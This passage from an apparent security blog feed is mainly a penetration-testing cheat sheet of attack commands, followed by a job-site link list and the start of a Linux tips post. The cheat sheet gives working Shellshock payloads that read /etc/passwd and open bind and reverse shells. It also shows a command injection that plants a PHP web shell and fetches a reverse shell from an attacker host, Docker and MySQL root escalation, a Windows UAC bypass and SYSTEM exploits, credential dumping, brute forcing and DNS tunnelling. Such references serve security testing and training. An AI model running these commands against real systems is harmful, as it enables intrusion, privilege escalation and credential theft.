<li><a href="#hijack-a-binarys-full-path-in-bash-to-exec-your-own-code" id="markdown-toc-hijack-a-binarys-full-path-in-bash-to-exec-your-own-code">Hijack a binary’s full path in bash to exec your own code</a></li>
<li><a href="#local-privilege-escalation-through-mysql-run-with-root-privileges" id="markdown-toc-local-privilege-escalation-through-mysql-run-with-root-privileges">Local privilege escalation through MySQL run with root privileges</a></li>
<li><a href="#bruteforce-ssh-login-with-patator" id="markdown-toc-bruteforce-ssh-login-with-patator">Bruteforce SSH login with patator</a></li>
<li><a href="#using-ldpreload-to-inject-features-to-programs" id="markdown-toc-using-ldpreload-to-inject-features-to-programs">Using LD_PRELOAD to inject features to programs</a></li>
<li><a href="#exploit-the-openssh-user-enumeration-timing-attack" id="markdown-toc-exploit-the-openssh-user-enumeration-timing-attack">Exploit the OpenSSH User Enumeration Timing Attack</a></li>
<li><a href="#create-a-tcp-circuit-through-validly-formed-http-requests-with-reduh" id="markdown-toc-create-a-tcp-circuit-through-validly-formed-http-requests-with-reduh">Create a TCP circuit through validly formed HTTP requests with ReDuh</a></li>
</ul>
</div>
</section>
<!-- /#table-of-contents -->
<h3 id="other-parts">Other Parts</h3>
<ul>
<li><a href="https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/">Part 1</a></li>
<li><a href="https://jivoi.github.io/2015/08/21/pentest-tips-and-tricks-number-2/">Part 2</a></li>
</ul>
<h3 id="tor-nat-traversal">Tor Nat Traversal</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># install to server</span>
<span class="nv">$ </span>apt-get install tor torsocks
<span class="c"># bind ssh to tor service port 80</span>
<span class="c"># /etc/tor/torrc</span>
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort <span class="m">80</span> 127.0.0.1:22
PublishServerDescriptor 0
<span class="nv">$ </span>/etc/init.d/tor start
<span class="nv">$ </span>cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion
<span class="c"># ssh connect from client</span>
<span class="nv">$ </span>apt-get install torsocks
<span class="nv">$ </span>torsocks ssh [email protected] -p 80</code></pre></div>
<h3 id="dns-brute-forcing-with-fierce">DNS brute forcing with fierce</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># http://ha.ckers.org/fierce/</span>
<span class="nv">$ </span>./fierce.pl -dns example.com
<span class="nv">$ </span>./fierce.pl –dns example.com –wordlist myWordList.txt</code></pre></div>
<h3 id="metagoofil-metadata-gathering-tool">Metagoofil metadata gathering tool</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># http://www.edge-security.com/metagoofil.php</span>
<span class="c">#automate search engine document retrieval and analysis. It also has the capability to provide MAC</span>
<span class="c"># addresses, username listings, and more</span>
<span class="nv">$ </span>python metagoofil.py -d example.com -t doc,pdf -l <span class="m">200</span> -n <span class="m">50</span> -o examplefiles -f results.html</code></pre></div>
<h3 id="a-best-nmap-scan-strategy">A best NMAP scan strategy</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># A best nmap scan strategy for networks of all sizes</span>
<span class="c"># Host Discovery - Generate Live Hosts List</span>
<span class="nv">$ </span>nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
<span class="nv">$ </span>grep <span class="s2">"Status: Up"</span> Discovery.gnmap <span class="p">|</span> cut -f <span class="m">2</span> -d <span class="s1">' '</span> > LiveHosts.txt
<span class="c"># Port Discovery - Most Common Ports</span>
<span class="c"># http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf</span>
<span class="nv">$ </span>nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
<span class="nv">$ </span>nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
<span class="nv">$ </span>nmap -sS -T4 -Pn --top-ports <span class="m">3674</span> -oG <span class="m">3674</span> -iL LiveHosts.txt
<span class="c"># Port Discovery - Full Port Scans (UDP is very slow)</span>
<span class="nv">$ </span>nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
<span class="nv">$ </span>nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
<span class="c"># Print TCP\UDP Ports</span>
<span class="nv">$ </span>grep <span class="s2">"open"</span> FullTCP<span class="p">|</span>cut -f <span class="m">1</span> -d <span class="s1">' '</span> <span class="p">|</span> sort -nu <span class="p">|</span> cut -f <span class="m">1</span> -d <span class="s1">'/'</span> <span class="p">|</span>xargs <span class="p">|</span> sed <span class="s1">'s/ /,/g'</span><span class="p">|</span>awk <span class="s1">'{print "T:"$0}'</span>
<span class="nv">$ </span>grep <span class="s2">"open"</span> FullUDP<span class="p">|</span>cut -f <span class="m">1</span> -d <span class="s1">' '</span> <span class="p">|</span> sort -nu <span class="p">|</span> cut -f <span class="m">1</span> -d <span class="s1">'/'</span> <span class="p">|</span>xargs <span class="p">|</span> sed <span class="s1">'s/ /,/g'</span><span class="p">|</span>awk <span class="s1">'{print "U:"$0}'</span>
<span class="c"># Detect Service Version</span>
<span class="nv">$ </span>nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
<span class="c"># Operating System Scan</span>
<span class="nv">$ </span>nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
<span class="c"># OS and Service Detect</span>
<span class="nv">$ </span>nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt</code></pre></div>
<h3 id="nmap--techniques-for-avoiding-firewalls">Nmap – Techniques for Avoiding Firewalls</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># fragmentation</span>
<span class="nv">$ </span>nmap -f
<span class="c"># change default MTU size number must be a multiple of 8 (8,16,24,32 etc)</span>
<span class="nv">$ </span>nmap --mtu 24
<span class="c"># Generates a random number of decoys</span>
<span class="nv">$ </span>nmap -D RND:10 <span class="o">[</span>target<span class="o">]</span>
<span class="c"># Manually specify the IP addresses of the decoys</span>
<span class="nv">$ </span>nmap -D decoy1,decoy2,decoy3 etc.
<span class="c"># Idle Zombie Scan, first t need to find zombie ip</span>
<span class="nv">$ </span>nmap -sI <span class="o">[</span>Zombie IP<span class="o">]</span> <span class="o">[</span>Target IP<span class="o">]</span>
<span class="c"># Source port number specification</span>
<span class="nv">$ </span>nmap --source-port <span class="m">80</span> IP
<span class="c"># Append Random Data to scan packages</span>
<span class="nv">$ </span>nmap --data-length <span class="m">25</span> IP
<span class="c"># MAC Address Spoofing, generate different mac for host pc</span>
<span class="nv">$ </span>nmap --spoof-mac Dell/Apple/3Com IP</code></pre></div>
<h3 id="exploit-servers-to-shellshock">Exploit servers to Shellshock</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># A tool to find and exploit servers vulnerable to Shellshock</span>
<span class="c"># https://github.com/nccgroup/shocker</span>
<span class="nv">$ </span>./shocker.py -H 192.168.56.118 --command <span class="s2">"/bin/cat /etc/passwd"</span> -c /cgi-bin/status --verbose
<span class="c"># cat file</span>
<span class="nv">$ </span><span class="nb">echo</span> -e <span class="s2">"HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n"</span> <span class="p">|</span> nc 192.168.56.118 80
<span class="c"># bind shell</span>
<span class="nv">$ </span><span class="nb">echo</span> -e <span class="s2">"HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n"</span> <span class="p">|</span> nc 192.168.56.118 80
<span class="c"># reverse Shell</span>
<span class="nv">$ </span>nc -l -p 443
<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n"</span> <span class="p">|</span> nc 192.168.56.118 80</code></pre></div>
<h3 id="root-with-docker">Root with Docker</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># get root with docker</span>
<span class="c"># user must be in docker group</span>
ek@victum:~/docker-test<span class="nv">$ </span>id
<span class="nv">uid</span><span class="o">=</span>1001<span class="o">(</span>ek<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1001<span class="o">(</span>ek<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>1001<span class="o">(</span>ek<span class="o">)</span>,114<span class="o">(</span>docker<span class="o">)</span>
ek@victum:~<span class="nv">$ </span>mkdir docker-test
ek@victum:~<span class="nv">$ </span><span class="nb">cd </span>docker-test
ek@victum:~<span class="nv">$ </span>cat > Dockerfile
FROM debian:wheezy
ENV WORKDIR /stuff
RUN mkdir -p <span class="nv">$WORKDIR</span>
VOLUME <span class="o">[</span> <span class="nv">$WORKDIR</span> <span class="o">]</span>
WORKDIR <span class="nv">$WORKDIR</span>
<< EOF
ek@victum:~<span class="nv">$ </span>docker build -t my-docker-image .
ek@victum:~<span class="nv">$ </span>docker run -v <span class="nv">$PWD</span>:/stuff -t my-docker-image /bin/sh -c <span class="se">\</span>
<span class="s1">'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'</span>
./sh
whoami
<span class="c"># root</span>
ek@victum:~<span class="nv">$ </span>docker run -v /etc:/stuff -t my-docker-image /bin/sh -c <span class="s1">'cat /stuff/shadow'</span></code></pre></div>
<h3 id="tunneling-over-dns-to-bypass-firewall">Tunneling Over DNS to Bypass Firewall</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># Tunneling Data and Commands Over DNS to Bypass Firewalls</span>
<span class="c"># dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.</span>
<span class="c"># server (attacker)</span>
<span class="nv">$ </span>apt-get update
<span class="nv">$ </span>apt-get -y install ruby-dev git make g++
<span class="nv">$ </span>gem install bundler
<span class="nv">$ </span>git clone https://github.com/iagox86/dnscat2.git
<span class="nv">$ </span><span class="nb">cd </span>dnscat2/server
<span class="nv">$ </span>bundle install
<span class="nv">$ </span>ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059
<span class="c"># client (victum)</span>
<span class="c"># https://downloads.skullsecurity.org/dnscat2/</span>
<span class="c"># https://github.com/lukebaggett/dnscat2-powershell</span>
<span class="nv">$ </span>dnscat --host <dnscat server_ip></code></pre></div>
<h3 id="compile-assemble-code">Compile Assemble code</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>nasm -f elf32 simple32.asm -o simple32.o
<span class="nv">$ </span>ld -m elf_i386 simple32.o simple32
<span class="nv">$ </span>nasm -f elf64 simple.asm -o simple.o
<span class="nv">$ </span>ld simple.o -o simple</code></pre></div>
<h3 id="pivoting-to-internal-network-via-non-interactive-shell">Pivoting to Internal Network Via Non Interactive Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># generate ssh key with shell</span>
<span class="nv">$ </span>wget -O - -q <span class="s2">"http://domain.tk/sh.php?cmd=whoami"</span>
<span class="nv">$ </span>wget -O - -q <span class="s2">"http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "</span>
<span class="nv">$ </span>wget -O - -q <span class="s2">"http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"</span>
<span class="c"># add tempuser at attacker ps</span>
<span class="nv">$ </span>useradd -m tempuser
<span class="nv">$ </span>mkdir /home/tempuser/.ssh <span class="o">&&</span> chmod <span class="m">700</span> /home/tempuser/.ssh
<span class="nv">$ </span>wget -O - -q <span class="s2">"http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"</span> > /home/tempuser/.ssh/authorized_keys
<span class="nv">$ </span>chmod <span class="m">700</span> /home/tempuser/.ssh/authorized_keys
<span class="nv">$ </span>chown -R tempuser:tempuser /home/tempuser/.ssh
<span class="c"># create reverse ssh shell</span>
<span class="nv">$ </span>wget -O - -q <span class="s2">"http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"</span></code></pre></div>
<h3 id="patator-is-a-multi-purpose-brute-forcer">Patator is a multi-purpose brute-forcer</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># git clone https://github.com/lanjelot/patator.git /usr/share/patator</span>
<span class="c"># SMTP bruteforce</span>
<span class="nv">$ </span>patator smtp_login <span class="nv">host</span><span class="o">=</span>192.168.17.129 <span class="nv">user</span><span class="o">=</span>Ololena <span class="nv">password</span><span class="o">=</span>FILE0 <span class="nv">0</span><span class="o">=</span>/usr/share/john/password.lst
<span class="nv">$ </span>patator smtp_login <span class="nv">host</span><span class="o">=</span>192.168.17.129 <span class="nv">user</span><span class="o">=</span>FILE1 <span class="nv">password</span><span class="o">=</span>FILE0 <span class="nv">0</span><span class="o">=</span>/usr/share/john/password.lst <span class="nv">1</span><span class="o">=</span>/usr/share/john/usernames.lst
<span class="nv">$ </span>patator smtp_login <span class="nv">host</span><span class="o">=</span>192.168.17.129 <span class="nv">helo</span><span class="o">=</span><span class="s1">'ehlo 192.168.17.128'</span> <span class="nv">user</span><span class="o">=</span>FILE1 <span class="nv">password</span><span class="o">=</span>FILE0 <span class="nv">0</span><span class="o">=</span>/usr/share/john/password.lst <span class="nv">1</span><span class="o">=</span>/usr/share/john/usernames.lst
<span class="nv">$ </span>patator smtp_login <span class="nv">host</span><span class="o">=</span>192.168.17.129 <span class="nv">user</span><span class="o">=</span>Ololena <span class="nv">password</span><span class="o">=</span>FILE0 <span class="nv">0</span><span class="o">=</span>/usr/share/john/password.lst -x ignore:fgrep<span class="o">=</span><span class="s1">'incorrect password or account name'</span></code></pre></div>
<h3 id="metasploit-web-terminal-via-gotty">Metasploit Web terminal via Gotty</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>service postgresql start
<span class="nv">$ </span>msfdb init
<span class="nv">$ </span>apt-get install golang
<span class="nv">$ </span>mkdir /root/gocode
<span class="nv">$ </span><span class="nb">export </span><span class="nv">GOPATH</span><span class="o">=</span>/root/gocode
<span class="nv">$ </span>go get github.com/yudai/gotty
<span class="nv">$ </span>gocode/bin/gotty -a 127.0.0.1 -w msfconsole
<span class="c"># open in browser http://127.0.0.1:8080</span></code></pre></div>
<h3 id="get-full-shell-with-post-rce">Get full shell with POST RCE</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">attacker:~<span class="nv">$ </span>curl -i -s -k -X <span class="s1">'POST'</span> --data-binary <span class="s1">$'IP=%3Bwhoami&submit=submit'</span> <span class="s1">'http://victum.tk/command.php'</span>
attacker:~<span class="nv">$ </span>curl -i -s -k -X <span class="s1">'POST'</span> --data-binary <span class="s1">$'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit'</span> <span class="s1">'http://victum.tk/command.php'</span>
attacker:~<span class="nv">$ </span>curl http://victum.tk/shell.php?cmd<span class="o">=</span>id
<span class="c"># download reverse shell to server (phpshell.php)</span>
http://victum.tk/shell.php?cmd<span class="o">=</span>php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29<span class="p">;</span>%27
<span class="c"># run nc and execute phpshell.php</span>
attacker:~<span class="nv">$ </span>nc -nvlp 1337</code></pre></div>
<h3 id="exiftool---read-and-write-meta-information-in-files">Exiftool - Read and write meta information in files</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
<span class="nv">$ </span>tar xzf Image-ExifTool-10.13.tar.gz
<span class="nv">$ </span><span class="nb">cd </span>Image-ExifTool-10.13
<span class="nv">$ </span>perl Makefile.PL
<span class="nv">$ </span>make
<span class="nv">$ </span>./exiftool main.gif</code></pre></div>
<h3 id="get-system-with-admin-reverseshell-on-win7">Get SYSTEM with Admin reverse_shell on Win7</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom –p windows/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>192.168.56.102 –f exe > danger.exe
<span class="c">#show account settings</span>
net user <login>
<span class="c"># download psexec to kali</span>
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
<span class="c"># upload psexec.exe file onto the victim machine with powershell script</span>
<span class="nb">echo</span> <span class="nv">$client</span> <span class="o">=</span> New-Object System.Net.WebClient > script.ps1
<span class="nb">echo</span> <span class="nv">$targetlocation</span> <span class="o">=</span> <span class="s2">"http://192.168.56.102/PsExec.exe"</span> >> script.ps1
<span class="nb">echo</span> <span class="nv">$client</span>.DownloadFile<span class="o">(</span><span class="nv">$targetlocation</span>,<span class="s2">"psexec.exe"</span><span class="o">)</span> >> script.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1
<span class="c"># upload danger.exe file onto the victim machine with powershell script</span>
<span class="nb">echo</span> <span class="nv">$client</span> <span class="o">=</span> New-Object System.Net.WebClient > script2.ps1
<span class="nb">echo</span> <span class="nv">$targetlocation</span> <span class="o">=</span> <span class="s2">"http://192.168.56.102/danger.exe"</span> >> script2.ps1
<span class="nb">echo</span> <span class="nv">$client</span>.DownloadFile<span class="o">(</span><span class="nv">$targetlocation</span>,<span class="s2">"danger.exe"</span><span class="o">)</span> >> script2.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1
<span class="c"># UAC bypass from precompiled binaries:</span>
https://github.com/hfiref0x/UACME
<span class="c"># upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell</span>
<span class="nb">echo</span> <span class="nv">$client</span> <span class="o">=</span> New-Object System.Net.WebClient > script2.ps1
<span class="nb">echo</span> <span class="nv">$targetlocation</span> <span class="o">=</span> <span class="s2">"http://192.168.56.102/Akagi64.exe"</span> >> script3.ps1
<span class="nb">echo</span> <span class="nv">$client</span>.DownloadFile<span class="o">(</span><span class="nv">$targetlocation</span>,<span class="s2">"Akagi64.exe"</span><span class="o">)</span> >> script3.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1
<span class="c"># create listener on kali</span>
nc -lvp 4444
<span class="c"># Use Akagi64 to run the danger.exe file with SYSTEM privileges</span>
Akagi64.exe <span class="m">1</span> C:<span class="se">\U</span>sers<span class="se">\U</span>ser<span class="se">\D</span>esktop<span class="se">\d</span>anger.exe
<span class="c"># create listener on kali</span>
nc -lvp 4444
<span class="c"># The above step should give us a reverse shell with elevated privileges</span>
<span class="c"># Use PsExec to run the danger.exe file with SYSTEM privileges</span>
psexec.exe –i –d –accepteula –s danger.exe</code></pre></div>
<h3 id="get-system-with-standard-user-reverseshell-on-win7">Get SYSTEM with Standard user reverse_shell on Win7</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx <span class="c">#ms15-051</span>
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/
<span class="c"># check the list of patches applied on the target machine</span>
<span class="c"># to get the list of Hotfixes installed, type in the following command.</span>
wmic qfe get
wmic qfe <span class="p">|</span> find <span class="s2">"3057191"</span>
<span class="c"># Upload compile exploit to victim machine and run it</span>
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe
<span class="c"># by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe</span>
<span class="c"># https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"</span>
<span class="c"># dump clear text password of the currently logged in user using wce.exe</span>
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w
<span class="c"># dump hashes of other users with pwdump7</span>
http://www.heise.de/download/pwdump.html
<span class="c"># we can try online hash cracking tools such crackstation.net</span></code></pre></div>
<h3 id="generate-our-own-dic-file-based-on-the-website-content">Generate our own dic file based on the website content</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>cewl -m <span class="m">4</span> -w dict.txt http://site.url
<span class="nv">$ </span>john --wordlist<span class="o">=</span>dict.txt --rules --stdout</code></pre></div>
<h3 id="bruteforce-dns-records-using-nmap">Bruteforce DNS records using Nmap</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>nmap --script dns-brute --script-args dns-brute.domain<span class="o">=</span>foo.com,dns-brute.threads<span class="o">=</span>6,dns-brute.hostlist<span class="o">=</span>./hostfile.txt,newtargets -sS -p 80
<span class="nv">$ </span>nmap --script dns-brute www.foo.com</code></pre></div>
<h3 id="identifying-a-waf-with-nmap">Identifying a WAF with Nmap</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>nmap -p 80,443 --script<span class="o">=</span>http-waf-detect 192.168.56.102
<span class="nv">$ </span>nmap -p 80,443 --script<span class="o">=</span>http-waf-fingerprint 192.168.56.102
<span class="nv">$ </span>wafw00f www.example.com</code></pre></div>
<h3 id="ms08-067---without-the-use-of-metasploit">MS08-067 - without the use of Metasploit</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>nmap -v -p 139, <span class="m">445</span> --script<span class="o">=</span>smb-check-vulns --script-args<span class="o">=</span><span class="nv">unsafe</span><span class="o">=</span><span class="m">1</span> 192.168.31.205
<span class="nv">$ </span>searchsploit ms08-067
<span class="nv">$ </span>python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1</code></pre></div>
<h3 id="nikto-scan-with-squid-proxy">Nikto scan with SQUID proxy</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>nikto -useproxy http://squid_ip:3128 -h http://target_ip</code></pre></div>
<h3 id="hijack-a-binarys-full-path-in-bash-to-exec-your-own-code">Hijack a binary’s full path in bash to exec your own code</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="k">function</span> /usr/bin/foo <span class="o">()</span> <span class="o">{</span> /usr/bin/echo <span class="s2">"It works"</span><span class="p">;</span> <span class="o">}</span>
<span class="nv">$ </span><span class="nb">export</span> -f /usr/bin/foo
<span class="nv">$ </span>/usr/bin/foo
It works</code></pre></div>
<h3 id="local-privilege-escalation-through-mysql-run-with-root-privileges">Local privilege escalation through MySQL run with root privileges</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)</span>
<span class="nv">$ </span>wget 0xdeadbeef.info/exploits/raptor_udf2.c
<span class="nv">$ </span>gcc -g -c raptor_udf2.c
<span class="nv">$ </span>gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql<span class="p">;</span>
mysql> create table foo<span class="o">(</span>line blob<span class="o">)</span><span class="p">;</span>
mysql> insert into foo values<span class="o">(</span>load_file<span class="o">(</span><span class="s1">'/home/user/raptor_udf2.so'</span><span class="o">))</span><span class="p">;</span>
mysql> <span class="k">select</span> * from foo into dumpfile <span class="s1">'/usr/lib/mysql/plugin/raptor_udf2.so'</span><span class="p">;</span>
mysql> create <span class="k">function</span> do_system returns integer soname <span class="s1">'raptor_udf2.so'</span><span class="p">;</span>
mysql> <span class="k">select</span> * from mysql.func<span class="p">;</span>
mysql> <span class="k">select</span> do_system<span class="o">(</span><span class="s1">'echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out'</span><span class="o">)</span><span class="p">;</span>
user:~<span class="nv">$ </span>su -
Password:
user:~# whoami
root
root:~# id
<span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span></code></pre></div>
<h3 id="bruteforce-ssh-login-with-patator">Bruteforce SSH login with patator</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">root:~# patator ssh_login <span class="nv">host</span><span class="o">=</span>192.168.0.18 <span class="nv">user</span><span class="o">=</span>FILE0 <span class="nv">password</span><span class="o">=</span>FILE1 <span class="nv">0</span><span class="o">=</span>word.txt <span class="nv">1</span><span class="o">=</span>word.txt -x ignore:mesg<span class="o">=</span><span class="s1">'Authentication failed.'</span></code></pre></div>
<h3 id="using-ldpreload-to-inject-features-to-programs">Using LD_PRELOAD to inject features to programs</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>wget https://github.com/jivoi/pentest/ldpreload_shell.c
<span class="nv">$ </span>gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
<span class="nv">$ </span>sudo -u user <span class="nv">LD_PRELOAD</span><span class="o">=</span>/tmp/ldpreload_shell.so /usr/local/bin/somesoft</code></pre></div>
<h3 id="exploit-the-openssh-user-enumeration-timing-attack">Exploit the OpenSSH User Enumeration Timing Attack</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># https://github.com/c0r3dump3d/osueta</span>
<span class="nv">$ </span>./osueta.py -H 192.168.1.6 -p <span class="m">22</span> -U root -d <span class="m">30</span> -v yes
<span class="nv">$ </span>./osueta.py -H 192.168.10.22 -p <span class="m">22</span> -d <span class="m">15</span> -v yes –dos no -L userfile.txt</code></pre></div>
<h3 id="create-a-tcp-circuit-through-validly-formed-http-requests-with-reduh">Create a TCP circuit through validly formed HTTP requests with ReDuh</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># https://github.com/sensepost/reDuh</span>
<span class="c"># step 1</span>
<span class="c"># upload reDuh.jsp to victim server</span>
<span class="nv">$ </span>http://192.168.10.50/uploads/reDuh.jsp
<span class="c"># step 2</span>
<span class="c"># run reDuhClient on attacker</span>
<span class="nv">$ </span>java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp
<span class="c"># step 3</span>
<span class="c"># connecting to management port with nc</span>
<span class="nv">$ </span>nc -nvv 127.0.0.1 1010
<span class="c"># step 4</span>
<span class="c"># forward localport to remote port with tunnel</span>
<span class="o">[</span>createTunnel<span class="o">]</span> 7777:172.16.0.4:3389
<span class="c"># step 5</span>
<span class="c"># connect to localhost with rdp</span>
<span class="nv">$ </span>/usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777</code></pre></div>
<p><a href="https://jivoi.github.io/2015/08/21/pentest-tips-and-tricks-number-2/">Pentest Tips and Tricks #2</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on August 21, 2015.</p>https://jivoi.github.io/2015/08/21/awesome-it-jobs2015-08-21 12:08:13 +0300T00:00:00-00:002015-08-21T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Resources to help you get awesome IT job</p>
<h3 id="job-search">Job Search</h3>
<ul>
<li><a href="http://www.glassdoor.com/">http://www.glassdoor.com/</a></li>
<li><a href="http://www.dice.com/">http://www.dice.com/</a></li>
<li><a href="http://www.monster.com/">http://www.monster.com/</a></li>
<li><a href="https://www.hired.com/">https://www.hired.com/</a></li>
<li><a href="https://www.xing.com/en">https://www.xing.com/en</a></li>
<li><a href="http://www.jobserve.com/">http://www.jobserve.com/</a></li>
</ul>
<h3 id="social-networks">Social Networks</h3>
<ul>
<li><a href="https://www.linkedin.com/">https://www.linkedin.com/</a></li>
</ul>
<h3 id="remote-jobs">Remote Jobs</h3>
<ul>
<li><a href="https://github.com/lukasz-madon/awesome-remote-job">List of awesome remote jobs and resources</a></li>
</ul>
<p><a href="https://jivoi.github.io/2015/08/21/awesome-it-jobs/">Awesome IT Jobs</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on August 21, 2015.</p>https://jivoi.github.io/2015/08/17/linux-unix-it-tips-and-tricks-number-42015-08-17 16:09:08 +0300T00:00:00-00:002015-08-17T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Different Linux / Unix / IT tips, notes, howto part 4</p>
<section id="table-of-contents" class="toc">
<header>
<h3>Contents</h3>
</header>
<div id="drawer">
<ul id="markdown-toc">
<li><a href="#other-parts" id="markdown-toc-other-parts">Other Parts</a></li>
<li><a href="#who-is-writing-to-a-mysql-replica" id="markdown-toc-who-is-writing-to-a-mysql-replica">Who is writing to a mysql replica</a></li>
<li><a href="#display-mount-fs-in-nice-layout" id="markdown-toc-display-mount-fs-in-nice-layout">Display Mount FS in Nice Layout</a></li>
<li><a href="#freebsd-version" id="markdown-toc-freebsd-version">FreeBSD version</a></li>
<li><a href="#linux-namespaces-implementations" id="markdown-toc-linux-namespaces-implementations">Linux namespaces implementations</a></li>
<li><a href="#firewalld-in-centos7rhel" id="markdown-toc-firewalld-in-centos7rhel">Firewalld in CentOS7\RHEL</a></li>
<li><a href="#encrypt-linux-home-dir" id="markdown-toc-encrypt-linux-home-dir">Encrypt Linux Home Dir</a></li>
<li><a href="#moreutils" id="markdown-toc-moreutils">Moreutils</a></li>
<li><a href="#send-squid-accesslog-to-siem" id="markdown-toc-send-squid-accesslog-to-siem">Send Squid access_log to SIEM</a></li>
<li><a href="#send-hp-ux-syslogd-to-siem" id="markdown-toc-send-hp-ux-syslogd-to-siem">Send HP-UX syslogd to SIEM</a></li>
